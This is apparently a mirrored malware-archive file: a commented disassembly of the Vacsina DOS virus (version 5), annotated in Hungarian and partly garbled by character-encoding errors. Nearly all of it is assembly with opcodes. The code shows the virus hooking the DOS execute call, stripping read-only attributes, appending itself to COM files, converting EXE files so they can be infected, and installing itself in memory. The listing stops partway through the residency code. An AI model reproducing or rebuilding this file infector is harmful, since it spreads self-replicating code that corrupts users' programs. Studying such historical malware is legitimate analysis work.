mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
4b9382ddbc
push
897 lines
31 KiB
Plaintext
897 lines
31 KiB
Plaintext
|
||
***************************
|
||
* A Vacsina 5-”s verzi˘ja *
|
||
***************************
|
||
|
||
A vˇrus a mem˘ri ban val˘ elhelyezked‚se ‚s CS-e szerint van list zva.
|
||
|
||
A vˇrus hossza COM fileban 1206D-1221D, EXE fileban 132D, illetve 1338D-1353D by
|
||
te.
|
||
|
||
Nem zen‚l, semmi k rt nem tesz. (Csak a fileok idej‚t nem llˇtja vissza. )
|
||
|
||
A fileokat a 4B DOS funkci˘ meghˇv sakor fert”zi meg.
|
||
|
||
Egy file fert”z”tts‚g‚t az utols˘ 8 byteb˘l llapˇtja meg. B”vebb leˇr s t l sd
|
||
ott. Kiˇrt sa is
|
||
ez alapj n t”rt‚nhet.
|
||
|
||
1206D-n l hosszabb,62867D-n‚l r”videbb,JMP-pal kezd”d” COM fileokat, valamint a
|
||
64947D-n‚l r”videbb
|
||
EXE fileokat fert”zi.A COM fileokat paragrafushat rra kerekˇti, majd a lejjebb l
|
||
that˘ form ban
|
||
az eg‚sz vˇrust a mem˘rialeˇr˘ blokkj val egy<67>tt a filehoz m solja. Fert”z‚s ut
|
||
n egy bip hangot
|
||
hallat. A fert”z‚s idej‚re egy VACSINA nev<65> filet megnyit, de semmit sem csin l
|
||
vele. Futtat skor
|
||
az eredeti 3 byteot nem ˇrja vissza, hanem direkt oda ugrik, ahova a file elei J
|
||
MP mutatott.
|
||
EXE filehoz, ha a headerje stimmel, 0039-t”l 0084 byteot f<>z (nincs kerekˇt‚s).
|
||
Ez a r‚sz semmit
|
||
sem csin l, csak futtatja az eredeti EXE-t. C‚lja, hogy EXE-b”l COM-ot csin ljon
|
||
,ˇgy a vˇrus k‚s”bb
|
||
m r megfert”zheti.<2E>rdekes,hogy majdnem ugyanezt a k˘dsorozatot tal ltam t”bb ere
|
||
deti MS-DOS 3.10- s
|
||
fileon (DEBUG,PRINT,...). Igy a vˇrusˇr˘ ezt a r‚szt (az EXE-k relok l s t) inne
|
||
n vette. Felt‚te-
|
||
lezem, hogy van egy olyan EXE2BIN program, ami nem relok lhat˘ EXE-ket is COM-m
|
||
alakˇt. Innen
|
||
sz rmazhat ez a k˘dr‚szlet.
|
||
|
||
Azt, hogy m r a mem˘ri ban van-e a Vacsina a 0000:00C5-”n ehelyezett 397F azonos
|
||
ˇt˘sz˘b˘l llapitja
|
||
meg. 0000:00C7-re helyezi a vˇrus verzi˘sz m t.
|
||
|
||
|
||
|
||
FFF0 MLB DB 4D ;A vˇrus egy k<>l”n mem˘riablokkban helyezkedik
|
||
el.
|
||
FFF1 MLB_GAZDA DW ? ;Furcsa m˘don ezt is "cipeli" mag val
|
||
FFF3 MLB_HOSSZ DW ? ;Mem˘riablokk hossza paragrafusokban
|
||
FFF5 DB 0B DUP ?
|
||
|
||
|
||
;---------------------------------------------------------------
|
||
; V ltoz˘k
|
||
;---------------------------------------------------------------
|
||
|
||
0000 ERE_INT21 DD ? ;INT 21 eredeti cˇme
|
||
0004 ERE_INT24 DD ? ;INT 24 eredeti cˇme
|
||
0008 F_ATTR DW ? ;File eredeti attributtuma
|
||
000A HANDLE DW ? ;File handle
|
||
000C BUFFER DB 8 DUP (?) ;8 byte beffer
|
||
|
||
|
||
; Egy szabv nyos FCB
|
||
|
||
0014 FCB DB 0 ;Aktu lis drive
|
||
0015 DB 'VACSINA ' ;File n‚v
|
||
0020 DW ? ;Kurrens blokk
|
||
0022 DW ? ;Rekordhossz
|
||
0024 DD ? ;File hossz
|
||
0028 DW ? ;D tum
|
||
002A DW ? ;Id”
|
||
002C DB 8 DUP (?) ;Lefoglalt
|
||
0034 DB ? ;Rekordsz m a blokkban
|
||
0035 DD ? ;Random rekord
|
||
|
||
|
||
;------------------------------------------------------------------
|
||
;EXE filehoz csak az innent”l kezd”d” 0084 (132D) byteot ˇrja hozz
|
||
;------------------------------------------------------------------
|
||
|
||
0039 DB ' ' ;20 db SPC
|
||
|
||
ORG 0045 ;Źtfed‚s 0045-004C-ig
|
||
|
||
0045 KEZD_IP DW ? ;ip kezdeti ‚rt‚ke ez lesz
|
||
0047 KEZD_CS DW ? ;cs kezdeti ‚rt‚ke ez lesz
|
||
0049 KEZD_SP DW ? ;sp kezdeti ‚rt‚ke ez lesz
|
||
004B KEZD_SS DW ? ;ss kezdeti ‚rt‚ke ez lesz
|
||
|
||
;---------------------------------------------------------------
|
||
; Bel‚p‚si pont eredetileg EXE filen l
|
||
;---------------------------------------------------------------
|
||
;Ezzel a r‚sszel ‚ri el, hogy egy EXE file COM form tumŁ legyen ‚s lehessen
|
||
fert”zni
|
||
|
||
004D E80000 CALL 0050
|
||
0050 5B * POP BX ;bx=0050
|
||
0051 50 PUSH AX
|
||
0052 8CC0 MOV AX,ES
|
||
0054 051000 ADD AX,0010 ;ax a program leend” elej‚re mutat
|
||
0057 8B0E0E01 MOV CX,[010E] ;Stack t vols g
|
||
005B 03C8 ADD CX,AX ;Mi lesz ss kezdeti ‚rt‚ke
|
||
005D 894FFB MOV [BX-05],CX ;KEZD_SS (004B)
|
||
0060 8B0E1601 MOV CX,[0116] ;K˘dter<65>let t vols ga
|
||
0064 03C8 ADD CX,AX
|
||
0066 894FF7 MOV [BX-09],CX ;KEZD_CS (0047)
|
||
0069 8B0E1001 MOV CX,[0110] ;sp kezdeti ‚rt‚ke
|
||
006D 894FF9 MOV [BX-07],CX ;KEZD_SP (0049)
|
||
0070 8B0E1401 MOV CX,[0114] ;ip kezdeti ‚rt‚ke
|
||
0074 894FF5 MOV [BX-0B],CX ;KEZD_IP (0045)
|
||
0077 8B3E1801 MOV DI,[0118] ;Els” reklok ci˘s bejegyz‚s
|
||
007B 8B160801 MOV DX,[0108] ;Header hossza paragrafusban
|
||
007F B104 MOV CL,04
|
||
0081 D3E2 SHL DX,CL ;Header hossza byteokban
|
||
0083 8B0E0601 MOV CX,[0106] ;Relok ci˘s bejegyz‚sek sz ma
|
||
0087 E317 JCXZ 00A0 ;Ugr s, ha nincs mit relok lni
|
||
|
||
|
||
; Relok l s ciklusa
|
||
|
||
0089 26 * ES:
|
||
008A C5B50001 LDS SI,[DI+0100] ;Hol kell relok lni
|
||
008E 83C704 ADD DI,+04 ;K”vetkez” relok ci˘s bejegyz‚s
|
||
0091 8CDD MOV BP,DS
|
||
0093 26 ES:
|
||
0094 032E0801 ADD BP,[0108] ;Header hossza paragrafusban
|
||
0098 03E8 ADD BP,AX ;ax=program (file) val˘di kezdete
|
||
009A 8EDD MOV DS,BP ;Itt kell relok lni
|
||
009C 0104 ADD [SI],AX ;Relok ci˘
|
||
009E E2E9 LOOP 0089
|
||
|
||
|
||
; Az trelok lt programot a hely‚re rakja
|
||
|
||
00A0 0E * PUSH CS
|
||
00A1 1F POP DS ;ds=cs
|
||
00A2 BF0001 MOV DI,0100
|
||
00A5 8BF2 MOV SI,DX ;dx=Header hossza byteokban
|
||
00A7 81C60001 ADD SI,0100
|
||
00AB 8BCB MOV CX,BX ;Mennyi byteot kell mozgatni ? (Ez e
|
||
gy kicsit t”bb)
|
||
00AD 2BCE SUB CX,SI
|
||
00AF F3 REPZ
|
||
00B0 A4 MOVSB
|
||
|
||
|
||
; Az eredeti EXE program futtat sa
|
||
|
||
00B1 58 POP AX ;ax eredeti ‚rt‚ke
|
||
00B2 FA CLI
|
||
00B3 8E57FB MOV SS,[BX-05] ;KEZD_SS
|
||
00B6 8B67F9 MOV SP,[BX-07] ;KEZD_SP
|
||
00B9 FB STI
|
||
00BA FF6FF5 JMP FAR [BX-0B] ;KEZD_IP, KEZD_CS
|
||
|
||
|
||
;---------------------------------------------------------------
|
||
; INT 24 (DOS kritikus hibakezel”je)
|
||
;---------------------------------------------------------------
|
||
|
||
|
||
00BD B003 * MOV AL,03 ;DOS hib t jelezzen
|
||
00BF CF IRET
|
||
|
||
|
||
;---------------------------------------------------------------
|
||
; INT 21 (DOS bel‚p‚si pontja)
|
||
;---------------------------------------------------------------
|
||
; Csak a 4B00 (EXECUTE) funkci˘n l avatkozik k”zbe
|
||
|
||
00C0 9C * PUSHF
|
||
00C1 3D004B CMP AX,4B00
|
||
00C4 7406 JZ 00CC
|
||
00C6 9D POPF
|
||
00C7 2E CS:
|
||
00C8 FF2E0000 JMP FAR [0000]
|
||
|
||
|
||
|
||
; A DOS 4B00 alfunkci˘ja
|
||
|
||
00CC 06 * PUSH ES ;bp+10
|
||
00CD 1E PUSH DS ;bp+0E
|
||
00CE 55 PUSH BP ;bp+0C
|
||
00CF 57 PUSH DI ;bp+0A
|
||
00D0 56 PUSH SI ;bp+08
|
||
00D1 52 PUSH DX ;bp+06
|
||
00D2 51 PUSH CX ;bp+04
|
||
00D3 53 PUSH BX ;bp+02
|
||
00D4 50 PUSH AX ;bp+00
|
||
00D5 8BEC MOV BP,SP
|
||
|
||
|
||
; INT 24 lek‚rdez‚se, tˇr sa
|
||
|
||
00D7 B82435 MOV AX,3524 ;GET_INT_VECT (es:bx)
|
||
00DA CD21 INT 21
|
||
00DC 2E CS:
|
||
00DD 8C060600 MOV [0006],ES ;ERE_INT24+2
|
||
00E1 2E CS:
|
||
00E2 891E0400 MOV [0004],BX ;ERE_INT24
|
||
00E6 0E PUSH CS
|
||
00E7 1F POP DS
|
||
00E8 BABD00 MOV DX,00BD
|
||
00EB B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx)
|
||
00EE CD21 INT 21
|
||
|
||
|
||
; A VACSINA nev<65> file megnyit sa (val˘szˇn<CB87>leg a vˇrus nyomonk”vet‚se miatt
|
||
)
|
||
|
||
00F0 0E PUSH CS ;Megj.:felesleges
|
||
00F1 1F POP DS
|
||
00F2 BA1400 MOV DX,0014
|
||
00F5 B40F MOV AH,0F ;OPEN_FCB (ds:dx)
|
||
00F7 CD21 INT 21
|
||
|
||
|
||
; File eredeti attributtum nak lek‚rdez‚se, R/O bit t”rl‚se
|
||
|
||
00F9 B80043 MOV AX,4300 ;GET_FILE_ATTR (cx)
|
||
00FC 8E5E0E MOV DS,[BP+0E]
|
||
00FF 8B5606 MOV DX,[BP+06]
|
||
0102 CD21 INT 21
|
||
0104 7303 JNB 0109
|
||
0106 E9DA01 JMP 02E3 ;Hib n l
|
||
0109 2E * CS:
|
||
010A 890E0800 MOV [0008],CX ;F_ATTR
|
||
010E B80143 MOV AX,4301 ;SET_FILE_ATTR (cx)
|
||
0111 80E1FE AND CL,FE ;R/O bit t”rl‚se
|
||
0114 CD21 INT 21
|
||
0116 7303 JNB 011B
|
||
0118 E9C801 JMP 02E3 ;Hib n l
|
||
|
||
|
||
; C‚lbavett file megnyit sa
|
||
; HIBA !!! A file eredeti idej‚t nem k‚rdezi le ‚s nem llˇtja vissza.
|
||
|
||
011B B8023D * MOV AX,3D02 ;OPEN_HANDLE (dx:dx)
|
||
011E 8E5E0E MOV DS,[BP+0E]
|
||
0121 8B5606 MOV DX,[BP+06]
|
||
0124 CD21 INT 21
|
||
0126 7303 JNB 012B
|
||
0128 E9A801 JMP 02D3 ;Hib n l
|
||
012B 2E * CS:
|
||
012C A30A00 MOV [000A],AX ;HANDLE
|
||
012F 8BD8 MOV BX,AX
|
||
|
||
|
||
; File els” 6 bytej nak beolvas sa a BUFFER-be
|
||
|
||
0131 0E PUSH CS
|
||
0132 1F POP DS
|
||
0133 BA0C00 MOV DX,000C ;offset BUFFER
|
||
0136 B90600 MOV CX,0006 ;6 byte olvas sa
|
||
0139 B43F MOV AH,3F ;READ_HANDLE (bx,ds:dx,cx)
|
||
013B CD21 INT 21
|
||
013D 7219 JB 0158 ;Hib n l
|
||
013F 3D0600 CMP AX,0006
|
||
0142 7514 JNZ 0158
|
||
|
||
|
||
; EXE-e a kiszemelt file ?
|
||
|
||
0144 2E CS:
|
||
0145 813E0C004D5A CMP WORD PTR [000C],5A4D;EXE file-e
|
||
014B 7503 JNZ 0150
|
||
014D E9B501 JMP 0305
|
||
|
||
|
||
;---------------------------------------------------------------
|
||
; COM file
|
||
;---------------------------------------------------------------
|
||
|
||
0150 2E * CS:
|
||
0151 803E0C00E9 CMP BYTE PTR [000C],E9 ;Csak akkor fert”zz<7A>k, ha JMP-pal kez
|
||
d”dik
|
||
0156 7403 JZ 015B
|
||
|
||
|
||
; Seg‚dugr s hib n l
|
||
|
||
0158 E96F01 * JMP 02CA
|
||
|
||
|
||
; 1206D < file hossz < 62867D
|
||
|
||
015B B80242 * MOV AX,4202 ;File v‚g‚re ll s
|
||
015E B90000 MOV CX,0000
|
||
0161 8BD1 MOV DX,CX
|
||
0163 2E CS:
|
||
0164 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
0168 CD21 INT 21 ;dx:ax=file hossz
|
||
016A 72EC JB 0158 ;Hib n l
|
||
016C 83FA00 CMP DX,+00
|
||
016F 75E7 JNZ 0158
|
||
0171 3DB604 CMP AX,04B6
|
||
0174 76E2 JBE 0158
|
||
0176 3D93F5 CMP AX,F593
|
||
0179 73DD JNB 0158
|
||
|
||
|
||
; File adatainak elt rol sa
|
||
|
||
017B 2E CS:
|
||
017C A39E04 MOV [049E],AX ;ERE_HOSSZ
|
||
017F 2E CS:
|
||
0180 A10D00 MOV AX,[000D] ;File 2.,3. byteja
|
||
0183 050301 ADD AX,0103 ;+ 0103
|
||
0186 2E CS:
|
||
0187 A3A004 MOV [04A0],AX ;ERE_2_3
|
||
|
||
|
||
; File utols˘ 8 bytej nak beolvas sa
|
||
|
||
018A B80242 MOV AX,4202 ;File v‚ge-8-dik pozˇci˘ra
|
||
018D B9FFFF MOV CX,FFFF
|
||
0190 BAF8FF MOV DX,FFF8
|
||
0193 2E CS:
|
||
0194 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
0198 CD21 INT 21
|
||
019A 72BC JB 0158 ;Hib n l
|
||
019C 2E CS:
|
||
019D 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
01A1 0E PUSH CS
|
||
01A2 1F POP DS
|
||
01A3 BA0C00 MOV DX,000C ;offset BUFFER
|
||
01A6 B90800 MOV CX,0008 ;8 byte olvas sa
|
||
01A9 B43F MOV AH,3F ;READ_HANDLE (bx,ds:dx,cx)
|
||
01AB CD21 INT 21
|
||
01AD 72A9 JB 0158 ;Hib n l
|
||
01AF 3D0800 CMP AX,0008
|
||
01B2 75A4 JNZ 0158 ;Hib n l
|
||
|
||
|
||
; Fert”z”tt-e m r a file
|
||
|
||
01B4 2E CS:
|
||
01B5 813E1000F47A CMP WORD PTR [0010],7AF4;Azonosˇt˘sz˘
|
||
01BB 7577 JNZ 0234 ;M‚g nem fer”z”tt
|
||
01BD 2E CS:
|
||
01BE 833E120005 CMP WORD PTR [0012],+05 ;Verzi˘sz m
|
||
01C3 90 NOP
|
||
01C4 7392 JNB 0158 ;Nem fert”zz<7A>k
|
||
|
||
|
||
;---------------------------------------------------------------
|
||
; Egy kor bbi Vacsina m r megfert”zte (azt kiˇrtja)
|
||
;---------------------------------------------------------------
|
||
; Fert”z”tt file eredeti adatai
|
||
|
||
01C6 2E CS:
|
||
01C7 A10C00 MOV AX,[000C] ;ERE_HOSSZ
|
||
01CA 2E CS:
|
||
01CB A39E04 MOV [049E],AX ;ERE_HOSSZ
|
||
01CE 2E CS:
|
||
01CF A10E00 MOV AX,[000E] ;ERE_2_3
|
||
01D2 2E CS:
|
||
01D3 A3A004 MOV [04A0],AX ;ERE_2_3
|
||
01D6 2D0301 SUB AX,0103
|
||
01D9 2E CS:
|
||
01DA A30C00 MOV [000C],AX ;Eredeti 2.,3. byteja a filenak
|
||
|
||
|
||
; File eredeti 2.,3. bytej nak visszaˇr sa
|
||
|
||
01DD B80042 MOV AX,4200 ;File 2. bytej ra ll
|
||
01E0 B90000 MOV CX,0000
|
||
01E3 BA0100 MOV DX,0001
|
||
01E6 2E CS:
|
||
01E7 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
01EB CD21 INT 21
|
||
01ED 725F JB 024E ;Hib n l
|
||
01EF B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx)
|
||
01F1 0E PUSH CS
|
||
01F2 1F POP DS
|
||
01F3 BA0C00 MOV DX,000C ;offset BUFFER
|
||
01F6 B90200 MOV CX,0002 ;2 byte ˇr sa
|
||
01F9 CD21 INT 21
|
||
01FB 7251 JB 024E ;Hib n l
|
||
01FD 3D0200 CMP AX,0002
|
||
0200 754C JNZ 024E ;Hib n l
|
||
|
||
|
||
; Directory bejegyz‚s aktualiz l sa
|
||
|
||
0202 2E CS:
|
||
0203 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
0207 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx)
|
||
0209 CD21 INT 21
|
||
020B 7208 JB 0215 ;Hib n l
|
||
020D 8BD8 MOV BX,AX
|
||
020F B43E MOV AH,3E ;CLOSE_HANDLE (bx)
|
||
0211 CD21 INT 21
|
||
0213 7239 JB 024E ;Hib n l
|
||
|
||
|
||
; File eredeti m‚retre v g sa
|
||
|
||
0215 B80042 MOV AX,4200 ;File eredeti v‚g‚re ll
|
||
0218 B90000 MOV CX,0000
|
||
021B 2E CS:
|
||
021C 8B169E04 MOV DX,[049E] ;ERE_HOSSZ
|
||
0220 2E CS:
|
||
0221 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
0225 CD21 INT 21
|
||
0227 7225 JB 024E ;Hib n l
|
||
0229 B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx)
|
||
022B 0E PUSH CS
|
||
022C 1F POP DS
|
||
022D B90000 MOV CX,0000 ;Csonkol s
|
||
0230 CD21 INT 21
|
||
0232 721A JB 024E ;Hib n l
|
||
|
||
|
||
; COM file megfert”z‚se
|
||
; Filehossz kerekˇt‚se paragrafushat rra
|
||
|
||
0234 B80042 * MOV AX,4200
|
||
0237 B90000 MOV CX,0000
|
||
023A 2E CS:
|
||
023B 8B169E04 MOV DX,[049E] ;ERE_HOSSZ
|
||
023F 83C20F ADD DX,+0F
|
||
0242 83E2F0 AND DX,-10 ;Kerekˇt‚s
|
||
0245 2E CS:
|
||
0246 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
024A CD21 INT 21
|
||
024C 7303 JNB 0251
|
||
|
||
|
||
; Seg‚dugr s hib n l
|
||
|
||
024E EB7A * JMP 02CA ;Hib n l
|
||
0250 90 NOP
|
||
|
||
|
||
; A vˇrus mem˘rialeˇr˘ blokkj val egy<67>tt hozz m solja mag t a filehoz
|
||
|
||
0251 2E CS:
|
||
0252 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
0256 8CCA MOV DX,CS
|
||
0258 4A DEC DX
|
||
0259 8EDA MOV DS,DX ;ds=cs-1 (mem.leˇr˘ blokkra mutat)
|
||
025B BA0000 MOV DX,0000
|
||
025E B9B604 MOV CX,04B6 ;Vˇrus hossza (1206)
|
||
0261 B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx)
|
||
0263 CD21 INT 21
|
||
0265 72E7 JB 024E ;Hib n l
|
||
0267 3DB604 CMP AX,04B6
|
||
026A 75E2 JNZ 024E ;Hib n l
|
||
|
||
|
||
; Directory bejegyz‚s aktualiz l sa
|
||
|
||
026C 2E CS:
|
||
026D 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
0271 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx)
|
||
0273 CD21 INT 21
|
||
0275 7208 JB 027F ;Hib n l
|
||
0277 8BD8 MOV BX,AX
|
||
0279 B43E MOV AH,3E ;CLOSE_HANDLE (bx)
|
||
027B CD21 INT 21
|
||
027D 72CF JB 024E ;Hib n l
|
||
|
||
|
||
; File leend” els” 3 bytej nak kisz mˇt sa
|
||
|
||
027F 2E CS:
|
||
0280 C6060C00E9 MOV BYTE PTR [000C],E9 ;JMP k˘dja
|
||
0285 2E CS:
|
||
0286 8B169E04 MOV DX,[049E] ;ERE_HOSSZ
|
||
028A 83C20F ADD DX,+0F
|
||
028D 83E2F0 AND DX,-10 ;Kerekˇt‚s
|
||
0290 83EA03 SUB DX,+03 ;-3 a JMP miatt
|
||
0293 81C2AC03 ADD DX,03AC ;Bel‚p‚si pont eltol sa a file v‚g‚h
|
||
ez k‚pest
|
||
0297 2E CS:
|
||
0298 89160D00 MOV [000D],DX ;JMP operandusa
|
||
|
||
|
||
; File els” 3 bytej nak tˇr sa
|
||
|
||
029C B80042 MOV AX,4200 ;File elej‚re
|
||
029F B90000 MOV CX,0000
|
||
02A2 8BD1 MOV DX,CX
|
||
02A4 2E CS:
|
||
02A5 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
02A9 CD21 INT 21
|
||
02AB 72A1 JB 024E ;Hib n l
|
||
02AD 2E CS:
|
||
02AE 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
02B2 0E PUSH CS
|
||
02B3 1F POP DS
|
||
02B4 BA0C00 MOV DX,000C ;offset BEFFER
|
||
02B7 B90300 MOV CX,0003 ;3 byte ˇr sa
|
||
02BA B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx)
|
||
02BC CD21 INT 21
|
||
02BE 728E JB 024E ;Hib n l
|
||
02C0 3D0300 CMP AX,0003
|
||
02C3 7589 JNZ 024E ;Hib n l
|
||
|
||
|
||
; Egy BELL kiad sa (Val˘szˇn<CB87>leg ez a verzi˘ m‚g tesztp‚ld ny)
|
||
|
||
02C5 B8070E MOV AX,0E07 ;WRITE_TELETYPE
|
||
02C8 CD10 INT 10
|
||
|
||
|
||
; File lez r sa
|
||
|
||
02CA B43E * MOV AH,3E ;CLOSE_HANDLE (bx)
|
||
02CC 2E CS:
|
||
02CD 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
02D1 CD21 INT 21
|
||
|
||
|
||
; File eredeti attributtum nak vissza llˇt sa
|
||
|
||
02D3 B80143 * MOV AX,4301 ;SET_FILE_ATTR (cx)
|
||
02D6 8E5E0E MOV DS,[BP+0E] ;File nev‚re mutat
|
||
02D9 8B5606 MOV DX,[BP+06]
|
||
02DC 2E CS:
|
||
02DD 8B0E0800 MOV CX,[0008] ;F_ATTR
|
||
02E1 CD21 INT 21
|
||
|
||
|
||
; A VACSINA nev<65> file lez r sa (Łj d tumot kap, semmi m s)
|
||
|
||
02E3 0E * PUSH CS
|
||
02E4 1F POP DS
|
||
02E5 BA1400 MOV DX,0014 ;FCB
|
||
02E8 B410 MOV AH,10 ;CLOSE_FCB
|
||
02EA CD21 INT 21
|
||
|
||
|
||
; INT 24 visszaˇr sa, eredeti DOS funkci˘ hˇv sa
|
||
|
||
02EC B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx)
|
||
02EF 2E CS:
|
||
02F0 C5160400 LDS DX,[0004] ;ERE_INT24
|
||
02F4 CD21 INT 21
|
||
02F6 58 POP AX
|
||
02F7 5B POP BX
|
||
02F8 59 POP CX
|
||
02F9 5A POP DX
|
||
02FA 5E POP SI
|
||
02FB 5F POP DI
|
||
02FC 5D POP BP
|
||
02FD 1F POP DS
|
||
02FE 07 POP ES
|
||
02FF 9D POPF
|
||
0300 2E CS:
|
||
0301 FF2E0000 JMP FAR [0000] ;ERE_INT21
|
||
|
||
|
||
;---------------------------------------------------------------
|
||
; EXE file COM-m alkˇt sa
|
||
;---------------------------------------------------------------
|
||
; file hossz < 64947D
|
||
|
||
0305 B80242 * MOV AX,4202 ;File v‚g‚re ll
|
||
0308 B90000 MOV CX,0000
|
||
030B 8BD1 MOV DX,CX
|
||
030D 2E CS:
|
||
030E 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
0312 CD21 INT 21
|
||
0314 72B4 JB 02CA ;Hib n l
|
||
0316 83FA00 CMP DX,+00
|
||
0319 75AF JNZ 02CA
|
||
031B 3DB3FD CMP AX,FDB3 ;64947D
|
||
031E 73AA JNB 02CA
|
||
|
||
|
||
; Stimmel-e az EXE headerje?
|
||
|
||
0320 2E CS:
|
||
0321 A39E04 MOV [049E],AX ;ERE_HOSSZ
|
||
0324 2E CS:
|
||
0325 A11000 MOV AX,[0010] ;Filehossz lapokban
|
||
0328 48 DEC AX
|
||
0329 B109 MOV CL,09 ;* 512D
|
||
032B D3E0 SHL AX,CL
|
||
032D 2E CS:
|
||
032E 03060E00 ADD AX,[000E] ;+a marad‚k
|
||
0332 2E CS:
|
||
0333 3B069E04 CMP AX,[049E] ;Egyezik-e a hosszal?
|
||
0337 7591 JNZ 02CA ;Ha nem
|
||
|
||
|
||
; A vˇrus egy r‚sz‚t hozz f<C2A0>zi az EXE-hez (Igy COM lehet majd az EXE)
|
||
|
||
0339 2E CS:
|
||
033A 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
033E B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx)
|
||
0340 0E PUSH CS
|
||
0341 1F POP DS
|
||
0342 BA3900 MOV DX,0039 ;Innent”l
|
||
0345 B98400 MOV CX,0084 ;132D byte kiˇr sa
|
||
0348 CD21 INT 21
|
||
034A 72C8 JB 0314 ;Hib n l
|
||
034C 3D8400 CMP AX,0084
|
||
034F 75E6 JNZ 0337 ;Hib n l
|
||
|
||
|
||
; Directory bejegyz‚s aktualiz l sa
|
||
|
||
0351 2E CS:
|
||
0352 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
0356 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx)
|
||
0358 CD21 INT 21
|
||
035A 7208 JB 0364 ;Hib n l
|
||
035C 8BD8 MOV BX,AX
|
||
035E B43E MOV AH,3E ;CLOSE_HANDLE (bx)
|
||
0360 CD21 INT 21
|
||
0362 72B0 JB 0314 ;Hib n l
|
||
|
||
|
||
; File elj‚re
|
||
|
||
0364 B80042 MOV AX,4200
|
||
0367 B90000 MOV CX,0000
|
||
036A 8BD1 MOV DX,CX
|
||
036C 2E CS:
|
||
036D 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
0371 CD21 INT 21
|
||
0373 729F JB 0314 ;Hib n l
|
||
|
||
|
||
; Leend” els” 3 byte kisz mˇt sa
|
||
|
||
0375 2E CS:
|
||
0376 C6060C00E9 MOV BYTE PTR [000C],E9 ;JMP k˘dja
|
||
037B 2E CS:
|
||
037C A19E04 MOV AX,[049E] ;ERE_HOSSZ
|
||
037F 051100 ADD AX,0011 ;0039+0011+3=004D a bel‚p‚si pont
|
||
0382 2E CS:
|
||
0383 A30D00 MOV [000D],AX ;JMP operandusa
|
||
|
||
|
||
; Az els” 3 byte fel<65>lˇr sa
|
||
|
||
0386 2E CS:
|
||
0387 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||
038B B440 MOV AH,40 ;WRITE_HANDLE
|
||
038D 0E PUSH CS
|
||
038E 1F POP DS
|
||
038F BA0C00 MOV DX,000C ;offset BUFFER
|
||
0392 B90300 MOV CX,0003 ;3 byte ˇr sa
|
||
0395 CD21 INT 21 ;COM tˇpusŁ lesz a file
|
||
0397 E930FF JMP 02CA ;V‚ge
|
||
;Megj.:Ha itt egy JMP 0150 llna egyb”l fert”zhetne
|
||
EXE-t
|
||
|
||
|
||
;---------------------------------------------------------------
|
||
; V ltoz˘ (ax eredeti ‚rt‚ke)
|
||
;---------------------------------------------------------------
|
||
|
||
039A ERE_AX DW ?
|
||
|
||
|
||
;---------------------------------------------------------------
|
||
; Bel‚p‚si pont COM programn l
|
||
|
||
;---------------------------------------------------------------
|
||
|
||
039C E80000 * CALL 039F
|
||
039F 5B * POP BX ;bx=039F
|
||
03A0 2E CS:
|
||
03A1 8947FB MOV [BX-05],AX ;ERE_AX (039A)
|
||
|
||
|
||
; Annak eld”nt‚se, hogy a mem˘ri ban ven-e m r Vacsina
|
||
|
||
03A4 B80000 MOV AX,0000
|
||
03A7 8EC0 MOV ES,AX
|
||
03A9 26 ES:
|
||
03AA A1C500 MOV AX,[00C5] ;INT 31 vektor nak 2.,3. byteja
|
||
03AD 3D7F39 CMP AX,397F ;Van-e m r Vacsina a mem˘ri ban ?
|
||
03B0 7508 JNZ 03BA ;Ugr s, ha m‚g nem.
|
||
03B2 26 ES:
|
||
03B3 A0C700 MOV AL,[00C7] ;Mem˘ri ban l‚v” vˇrus verzi˘sz ma
|
||
03B6 3C05 CMP AL,05 ;Ennek a vˇrusnak a verzi˘sz ma
|
||
03B8 7332 JNB 03EC ;Ugr s, ha Łjjabb vagy ez a verzi˘
|
||
|
||
|
||
; Van-e el‚g szadab mem˘ria
|
||
|
||
03BA 8BD4 * MOV DX,SP
|
||
03BC 2BD3 SUB DX,BX
|
||
03BE 81EA6C0B SUB DX,0B6C
|
||
03C2 7228 JB 03EC ;Ugr s, ha nincs el‚g szabad mem˘ria
|
||
|
||
|
||
;A vˇrus k<>l”n mem˘riablokkba fog ker<65>lni, aminek leˇr˘ blokkja a vˇrus el”
|
||
tt helyezkedik el.
|
||
;Ennek a mem˘riablokknak hossz t llˇtja itt be.
|
||
|
||
03C4 BAC504 MOV DX,04C5 ;Vˇrus ltal ig‚nyelt mem˘ria + 0F
|
||
03C7 B104 MOV CL,04
|
||
03C9 D3EA SHR DX,CL ;DIV 10
|
||
03CB 2E CS:
|
||
03CC 899754FC MOV [BX+FC54],DX ;MLB_HOSSZ (FFF3) Mem˘rialeˇr˘ blokk
|
||
hossza
|
||
|
||
|
||
; A vˇrus h tr‚bb m solja mag t (004C paragrafussal)
|
||
|
||
03D0 8CD9 MOV CX,DS
|
||
03D2 03D1 ADD DX,CX
|
||
03D4 8EC2 MOV ES,DX ;Ide kell h tr‚bbmozgatni mindent
|
||
03D6 8BF3 MOV SI,BX
|
||
03D8 81C651FC ADD SI,FC51 ;si=FFF0 (vˇrus a hozz csatolt mem˘
|
||
rialeˇr˘ blokkal)
|
||
